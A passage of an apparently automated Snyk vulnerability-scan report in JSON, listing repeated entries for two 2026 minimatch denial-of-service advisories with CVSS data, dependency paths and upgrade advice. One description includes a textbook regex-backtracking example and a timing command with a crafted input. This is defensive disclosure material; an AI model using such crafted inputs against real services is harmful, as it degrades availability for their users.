"minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become 